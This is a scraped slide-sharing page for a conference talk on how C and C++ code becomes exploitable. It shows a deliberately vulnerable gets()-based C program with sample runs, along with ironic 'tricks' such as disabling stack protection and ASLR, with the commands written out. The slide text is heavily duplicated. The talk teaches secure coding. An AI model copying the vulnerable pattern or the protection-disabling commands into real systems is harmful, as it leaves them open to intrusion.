804850f je 8048528 <authenticate_and_launch+0x60>
8048511 mov DWORD PTR [esp],0x8048627
8048518 call 8048380 <puts@plt>
804851d mov eax,DWORD PTR [ebp-0x10]
8048520 mov DWORD PTR [esp],eax
8048523 call 80484ad <launch_missiles>
8048528 movzx eax,BYTE PTR [ebp-0x9]
804852c xor eax,0x1
804852f test al,al
8048531 je 804853f <authenticate_and_launch+0x77>
8048533 mov DWORD PTR [esp],0x8048636
804853a call 8048380 <puts@plt>
804853f leave
8048540 ret
compiled with -fno-stack-protector compiled with -fstack-protector
$ gcc -fno-stack-protector launch.c
Trick #9:
Disable stack protection
Insecure coding in C (and C++)
$ sudo sh
$ sudo sh
# echo 0 > /proc/sys/kernel/randomize_va_space
$ sudo sh
# echo 0 > /proc/sys/kernel/randomize_va_space
$ gcc -fno-pic -fno-pie -o launch launch.c
$ sudo sh
# echo 0 > /proc/sys/kernel/randomize_va_space
$ gcc -fno-pic -fno-pie -o launch launch.c
Trick #10:
Disable ASLR whenever you can.
Insecure coding in C (and C++)
Trick #11:
Avoid hardware and operating systems that
enforce DEP/W^X/NX-bit
Insecure coding in C (and C++)
$ gcc -o launch_shared launch.c
$ gcc -o launch_shared launch.c
$ gcc -static -o launch_static launch.c
$ gcc -o launch_shared launch.c
$ gcc -static -o launch_static launch.c
$ ls -al launch*
$ gcc -o launch_shared launch.c
$ gcc -static -o launch_static launch.c
$ ls -al launch*
-rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c
$ gcc -o launch_shared launch.c
$ gcc -static -o launch_static launch.c
$ ls -al launch*
-rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c
-rwxrwxr-x 1 oma oma 7573 juni 5 13:17 launch_shared
$ gcc -o launch_shared launch.c
$ gcc -static -o launch_static launch.c
$ ls -al launch*
-rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c
-rwxrwxr-x 1 oma oma 7573 juni 5 13:17 launch_shared
-rwxrwxr-x 1 oma oma 780250 juni 5 13:17 launch_static
$ gcc -o launch_shared launch.c
$ gcc -static -o launch_static launch.c
$ ls -al launch*
-rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c
-rwxrwxr-x 1 oma oma 7573 juni 5 13:17 launch_shared
-rwxrwxr-x 1 oma oma 780250 juni 5 13:17 launch_static
$ python ROPgadget.py --binary launch_shared | tail -1
$ gcc -o launch_shared launch.c
$ gcc -static -o launch_static launch.c
$ ls -al launch*
-rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c
-rwxrwxr-x 1 oma oma 7573 juni 5 13:17 launch_shared
-rwxrwxr-x 1 oma oma 780250 juni 5 13:17 launch_static
$ python ROPgadget.py --binary launch_shared | tail -1
Unique gadgets found: 76
$ gcc -o launch_shared launch.c
$ gcc -static -o launch_static launch.c
$ ls -al launch*
-rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c
-rwxrwxr-x 1 oma oma 7573 juni 5 13:17 launch_shared
-rwxrwxr-x 1 oma oma 780250 juni 5 13:17 launch_static
$ python ROPgadget.py --binary launch_shared | tail -1
Unique gadgets found: 76
$ python ROPgadget.py --binary launch_static | tail -1
$ gcc -o launch_shared launch.c
$ gcc -static -o launch_static launch.c
$ ls -al launch*
-rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c
-rwxrwxr-x 1 oma oma 7573 juni 5 13:17 launch_shared
-rwxrwxr-x 1 oma oma 780250 juni 5 13:17 launch_static
$ python ROPgadget.py --binary launch_shared | tail -1
Unique gadgets found: 76
$ python ROPgadget.py --binary launch_static | tail -1
Unique gadgets found: 9673
$ gcc -o launch_shared launch.c
$ gcc -static -o launch_static launch.c
$ ls -al launch*
-rw-r--r-- 1 oma oma 728 juni 5 13:14 launch.c
-rwxrwxr-x 1 oma oma 7573 juni 5 13:17 launch_shared
-rwxrwxr-x 1 oma oma 780250 juni 5 13:17 launch_static
$ python ROPgadget.py --binary launch_shared | tail -1
Unique gadgets found: 76
$ python ROPgadget.py --binary launch_static | tail -1
Unique gadgets found: 9673
Trick #12:
Make it easy to find many ROP gadgets in your
program
Insecure coding in C (and C++)
$ openssl dgst -sha256 ./launch
$ openssl dgst -sha256 ./launch
568ef1de39115c381aa3fa67f8f31fad5ba262a2b1f2dc70812609c9f5a76dcb
$ openssl dgst -sha256 ./launch
568ef1de39115c381aa3fa67f8f31fad5ba262a2b1f2dc70812609c9f5a76dcb
Trick #13:
Skip integrity checks when installing and
running new software.
$ openssl dgst -sha256 ./launch
568ef1de39115c381aa3fa67f8f31fad5ba262a2b1f2dc70812609c9f5a76dcb
Insecure coding in C (and C++)
Trick #0:
Never ever let other programmers review
your code
#1 Write insecure code by depending on a particular evaluation order
#2 Write insecure code by breaking the sequencing rules
#3 Write insecure code where the result depends on the compiler
#4 Write insecure code by knowing the blind spots of your compilers
#5 Write insecure code by messing up the internal state of the program.
#6 Write insecure code by only assuming valid input values
#7 Write insecure code by letting the optimizer remove apparently critical code
#8 Write insecure code by using library functions incorrectly
#9 Disable stack protection
#10 Disable ASLR whenever you can.
#11 Avoid hardware and operating systems that enforce DEP/W^X/NX-bit
#12 Make it easy to find many ROP gadgets in your program
#13 Skip integrity checks when installing and running new software.
Some tricks for insecure coding in C and C++
... and of course, there are plenty more tricks not covered here...
#0 Never ever let other programmers review your code
!
Resources
"C Programming Language" by Kernighan and Ritchie is a book that you need to read
over and over again. Security vulnerabilities and bugs in C are very often just a result of
not using the language correctly. Instead of trying to remember everthing as it is
formally written in the C standard, it is better to try to understand the spirit of C and
try to understand why things are designed as they are in the language. Nobody tells
this story better than K&R.
I got my first serious journey into
deeper understanding of C came when I
read Peter van der Linden wonderful
book "Expert C programming" (1994). I
still consider it as one of the best books
ever written about C.
"C traps and pitfalls" by
Andrew Koenig (1988) is
also a very good read.
All professional C programmers should have a copy of the C standard and they should
get used to regularly look up terms and concepts in the standard. It is easy to find cheap
PDF-version of the standard ($30), but you can also just download the latest draft and
they are usually 99,93% the same as the real thing. I also encourage everyone to read the
Rationale for C99 which is available for free on the WG14 site.
http://www.open-std.org/jtc1/sc22/wg14/
Robert C. Seacord has written a
book about how to do secure coding
in C and C++. This is based on
serious research done by CERT
program of the Carnegie Mellon's
Software Engineering Institute.
This is a really nice book about how
to hack into systems and programs
written in C.The book also has a
surprisingly concise and well written
introduction to C as a programming
language.All of the techniques
discussed in these slides, and much
more, is discussed in this book.

More Related Content

PDF
Solid C++ by Example
PDF
Deep C
PDF
TDD in C - Recently Used List Kata
PDF
The Internals of "Hello World" Program
PDF
How A Compiler Works: GNU Toolchain
PDF
LLVM 總是打開你的心:從電玩模擬器看編譯器應用實例
PPT
JAVA OOP
PDF
Modern C++ Explained: Move Semantics (Feb 2018)
Solid C++ by Example
Deep C
TDD in C - Recently Used List Kata
The Internals of "Hello World" Program
How A Compiler Works: GNU Toolchain
LLVM 總是打開你的心:從電玩模擬器看編譯器應用實例
JAVA OOP
Modern C++ Explained: Move Semantics (Feb 2018)

What's hot (20)

PPT
OOP in C++
PDF
Address/Thread/Memory Sanitizer
PPTX
Understand more about C
PPTX
OOP Introduction with java programming language
PPT
C by balaguruswami - e.balagurusamy
PPT
Ipc in linux
PPT
Java Basics
PPTX
Print input-presentation
PDF
Virtual Machine Constructions for Dummies
PDF
C++ idioms by example (Nov 2008)
PDF
88 c-programs
PPTX
C decision making and looping.
PDF
Q2.12: Debugging with GDB
PPT
Class and object in C++
PPTX
PPTX
Introduction to c++
PPTX
PPT
GCC compiler
PPTX
Virtual base class
PDF
Arm device tree and linux device drivers
OOP in C++
Address/Thread/Memory Sanitizer
Understand more about C
OOP Introduction with java programming language
C by balaguruswami - e.balagurusamy
Ipc in linux
Java Basics
Print input-presentation
Virtual Machine Constructions for Dummies
C++ idioms by example (Nov 2008)
88 c-programs
C decision making and looping.
Q2.12: Debugging with GDB
Class and object in C++
Introduction to c++
GCC compiler
Virtual base class
Arm device tree and linux device drivers
Ad

Similar to Insecure coding in C (and C++) (20)

PDF
Mind your language(s), A Discussion about Languages and Security
PDF
Analysis of Godot Engine's Source Code
PPTX
SSL Failing, Sharing, and Scheduling
PDF
The First C# Project Analyzed
PDF
stackconf 2021 | Fuzzing: Finding Your Own Bugs and 0days!
PDF
A few words about OpenSSL
PDF
A Boring Article About a Check of the OpenSSL Project
PDF
How to find 56 potential vulnerabilities in FreeBSD code in one evening
PPTX
.NET Foundation, Future of .NET and C#
PDF
Fuzzing: Finding Your Own Bugs and 0days! 1.0
PPTX
OWASP Poland Day 2018 - Pedro Fortuna - Are your Java Script based protection...
PPTX
Search for Vulnerabilities Using Static Code Analysis
PDF
Serial Killer - Silently Pwning your Java Endpoints // OWASP BeNeLux Day 2016
ODP
null Pune meet - Application Security: Code injection
PPTX
Rust Hack
PDF
Thinking In Swift
PDF
Clean & Typechecked JS
PDF
Fuzzing: Finding Your Own Bugs and 0days! at Arab Security Conference
PDF
Why Rust? - Matthias Endler - Codemotion Amsterdam 2016
PDF
How to reverse engineer Android applications
Mind your language(s), A Discussion about Languages and Security
Analysis of Godot Engine's Source Code
SSL Failing, Sharing, and Scheduling
The First C# Project Analyzed
stackconf 2021 | Fuzzing: Finding Your Own Bugs and 0days!
A few words about OpenSSL
A Boring Article About a Check of the OpenSSL Project
How to find 56 potential vulnerabilities in FreeBSD code in one evening
.NET Foundation, Future of .NET and C#
Fuzzing: Finding Your Own Bugs and 0days! 1.0
OWASP Poland Day 2018 - Pedro Fortuna - Are your Java Script based protection...
Search for Vulnerabilities Using Static Code Analysis
Serial Killer - Silently Pwning your Java Endpoints // OWASP BeNeLux Day 2016
null Pune meet - Application Security: Code injection
Rust Hack
Thinking In Swift
Clean & Typechecked JS
Fuzzing: Finding Your Own Bugs and 0days! at Arab Security Conference
Why Rust? - Matthias Endler - Codemotion Amsterdam 2016
How to reverse engineer Android applications
Ad

Recently uploaded (20)

PPTX
StacksandQueuesCLASS 12 COMPUTER SCIENCE.pptx
PPTX
UNIT II: Software design, software .pptx
PPTX
Bandicam Screen Recorder 8.2.1 Build 2529 Crack
PDF
Mobile App for Guard Tour and Reporting.pdf
PDF
Beginner’s Guide to Kentico Xperience Step by Step.pdf
PDF
OpenEXR Virtual Town Hall - August 2025
PDF
C language slides for c programming book by ANSI
PPTX
FLIGHT TICKET API | API INTEGRATION PLATFORM
PDF
OpenImageIO Virtual Town Hall - August 2025
PPTX
ESDS_SAP Application Cloud Offerings.pptx
PPTX
Empowering Asian Contributions: The Rise of Regional User Groups in Open Sour...
PPTX
Chapter_05_System Modeling for software engineering
PPTX
Independent Consultants’ Biggest Challenges in ERP Projects – and How Apagen ...
PPTX
AI Tools Revolutionizing Software Development Workflows
PPTX
Relevance Tuning with Genetic Algorithms
PPTX
WJQSJXNAZJVCVSAXJHBZKSJXKJKXJSBHJBJEHHJB
PPTX
Folder Lock 10.1.9 Crack With Serial Key
PPTX
Post-Migration Optimization Playbook: Getting the Most Out of Your New Adobe ...
PPTX
Why 2025 Is the Best Year to Hire Software Developers in India
PDF
OpenAssetIO Virtual Town Hall - August 2025.pdf
StacksandQueuesCLASS 12 COMPUTER SCIENCE.pptx
UNIT II: Software design, software .pptx
Bandicam Screen Recorder 8.2.1 Build 2529 Crack
Mobile App for Guard Tour and Reporting.pdf
Beginner’s Guide to Kentico Xperience Step by Step.pdf
OpenEXR Virtual Town Hall - August 2025
C language slides for c programming book by ANSI
FLIGHT TICKET API | API INTEGRATION PLATFORM
OpenImageIO Virtual Town Hall - August 2025
ESDS_SAP Application Cloud Offerings.pptx
Empowering Asian Contributions: The Rise of Regional User Groups in Open Sour...
Chapter_05_System Modeling for software engineering
Independent Consultants’ Biggest Challenges in ERP Projects – and How Apagen ...
AI Tools Revolutionizing Software Development Workflows
Relevance Tuning with Genetic Algorithms
WJQSJXNAZJVCVSAXJHBZKSJXKJKXJSBHJBJEHHJB
Folder Lock 10.1.9 Crack With Serial Key
Post-Migration Optimization Playbook: Getting the Most Out of Your New Adobe ...
Why 2025 Is the Best Year to Hire Software Developers in India
OpenAssetIO Virtual Town Hall - August 2025.pdf

Insecure coding in C (and C++)

  • 1. Insecure coding in C (and C++) Let's turn the table. Suppose your goal is to deliberately create buggy programs in C and C++ with serious security vulnerabilities that can be "easily" exploited.Then you need to know about things like stack smashing, shellcode, arc injection, return-oriented programming. You also need to know about annoying protection mechanisms such as address space layout randomization, stack canaries, data execution prevention, and more. This session will teach you the basics of how to deliberately write insecure programs in C and C++. a 60 minute presentation Norwegian Developer Conference Oslo, June 5 2014, 16:20-17:20 Olve Maudal Update:A recording of this talk is available at http://vimeo.com/channels/ndc2014/97505677
  • 2. Insecure coding in C (and C++) Let's turn the table. Suppose your goal is to deliberately create buggy programs in C and C++ with serious security vulnerabilities that can be "easily" exploited.Then you need to know about things like stack smashing, shellcode, arc injection, return-oriented programming. You also need to know about annoying protection mechanisms such as address space layout randomization, stack canaries, data execution prevention, and more. This session will teach you the basics of how to deliberately write insecure programs in C and C++. a 60 minute presentation Norwegian Developer Conference Oslo, June 5 2014, 16:20-17:20 Olve Maudal
  • 3. Insecure coding in C (and C++) Let's turn the table. Suppose your goal is to deliberately create buggy programs in C and C++ with serious security vulnerabilities that can be "easily" exploited.Then you need to know about things like stack smashing, shellcode, arc injection, return-oriented programming. You also need to know about annoying protection mechanisms such as address space layout randomization, stack canaries, data execution prevention, and more. This session will teach you the basics of how to deliberately write insecure programs in C and C++. a 60 minute presentation Norwegian Developer Conference Oslo, June 5 2014, 16:20-17:20 Olve Maudal Level: Introduction Advanced Expert
  • 4. Insecure coding in C (and C++) Let's turn the table. Suppose your goal is to deliberately create buggy programs in C and C++ with serious security vulnerabilities that can be "easily" exploited.Then you need to know about things like stack smashing, shellcode, arc injection, return-oriented programming. You also need to know about annoying protection mechanisms such as address space layout randomization, stack canaries, data execution prevention, and more. This session will teach you the basics of how to deliberately write insecure programs in C and C++. a 60 minute presentation Norwegian Developer Conference Oslo, June 5 2014, 16:20-17:20 Olve Maudal Level: Introduction Advanced Expert
  • 5. Insecure coding in C (and C++) Let's turn the table. Suppose your goal is to deliberately create buggy programs in C and C++ with serious security vulnerabilities that can be "easily" exploited.Then you need to know about things like stack smashing, shellcode, arc injection, return-oriented programming. You also need to know about annoying protection mechanisms such as address space layout randomization, stack canaries, data execution prevention, and more. This session will teach you the basics of how to deliberately write insecure programs in C and C++. a 60 minute presentation Norwegian Developer Conference Oslo, June 5 2014, 16:20-17:20 Olve Maudal Level: Introduction Advanced Expert
  • 6. Insecure coding in C (and C++) Let's turn the table. Suppose your goal is to deliberately create buggy programs in C and C++ with serious security vulnerabilities that can be "easily" exploited.Then you need to know about things like stack smashing, shellcode, arc injection, return-oriented programming. You also need to know about annoying protection mechanisms such as address space layout randomization, stack canaries, data execution prevention, and more. This session will teach you the basics of how to deliberately write insecure programs in C and C++. a 60 minute presentation Norwegian Developer Conference Oslo, June 5 2014, 16:20-17:20 Olve Maudal Level: Introduction Advanced Expert
  • 9. When I refer to "my machine" it is a fairly up-to-date Ubuntu distro (13.10) running inVirtualBox with x86-32 Linux kernel (3.11) and gcc (4.8.1) - there is nothing special here...
  • 10. I will briefly discuss the following topics: •stack buffer overflow (aka stack smashing) •call stack (aka activation frames) •writing exploits •arc injection (aka return to lib-c) •code injection (aka shell code) •data execution protection (aka DEP, PAE/NX,W^X) •address space layout randomization (ASLR) •stack protection (aka stack canaries) •return-oriented programming (ROP) •writing code with "surprising" behavior •layered security •information leakage •patching binaries •summary - a few tricks for insecure coding
  • 11. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Here is a classic example of exploitable code
  • 12. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Here is a classic example of exploitable code
  • 13. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Here is a classic example of exploitable code
  • 14. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } This program is bad in so many ways, but the main weakness we are going to have fun with is of course the use of gets() Here is a classic example of exploitable code
  • 15. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } This program is bad in so many ways, but the main weakness we are going to have fun with is of course the use of gets() gets() is a function that will read characters from stdin until a newline or end-of-file is reached, and then a null character is appended. In this case, any input of more than 7 characters will overwrite data outside of the allocated space for the buffer Here is a classic example of exploitable code
  • 16. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } This program is bad in so many ways, but the main weakness we are going to have fun with is of course the use of gets() gets() is a function that will read characters from stdin until a newline or end-of-file is reached, and then a null character is appended. In this case, any input of more than 7 characters will overwrite data outside of the allocated space for the buffer I never use gets() Here is a classic example of exploitable code
  • 17. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } This program is bad in so many ways, but the main weakness we are going to have fun with is of course the use of gets() gets() is a function that will read characters from stdin until a newline or end-of-file is reached, and then a null character is appended. In this case, any input of more than 7 characters will overwrite data outside of the allocated space for the buffer I never use gets() That's nice to hear, and gets() has actually been deprecated and removed from latest version of the language.We use it anyway here just to make it easier to illustrate the basics. In C and C++ there are plenty of ways to accidentally allow you to poke directly into memory - we will mention some of those later later. But for now... Here is a classic example of exploitable code
  • 18. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); }
  • 19. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Let's try executing the code and see what happens.
  • 20. $ ./launch void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Let's try executing the code and see what happens.
  • 21. $ ./launch WarGames MissileLauncher v0.1 void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Let's try executing the code and see what happens.
  • 22. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Let's try executing the code and see what happens.
  • 23. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } David Let's try executing the code and see what happens.
  • 24. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Access denied David Let's try executing the code and see what happens.
  • 25. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Access denied Operation complete David Let's try executing the code and see what happens.
  • 26. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Access denied Operation complete $ ./launch David Let's try executing the code and see what happens.
  • 27. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Access denied Operation complete $ ./launch WarGames MissileLauncher v0.1 David Let's try executing the code and see what happens.
  • 28. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Access denied Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: David Let's try executing the code and see what happens.
  • 29. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Access denied Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: Joshua David Let's try executing the code and see what happens.
  • 30. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Access granted Access denied Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: Joshua David Let's try executing the code and see what happens.
  • 31. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Access granted Launching 2 missiles Access denied Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: Joshua David Let's try executing the code and see what happens.
  • 32. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Access granted Launching 2 missiles Operation complete Access denied Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: Joshua David Let's try executing the code and see what happens.
  • 33. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Access granted Launching 2 missiles Operation complete $ ./launch Access denied Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: Joshua David Let's try executing the code and see what happens.
  • 34. $ ./launch WarGames MissileLauncher v0.1 Secret: void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Access granted Launching 2 missiles Operation complete $ ./launch WarGames MissileLauncher v0.1 Access denied Operation complete $ ./launch WarGames MissileLauncher v0.1 Secret: Joshua David Let's try executing the code and see what happens.
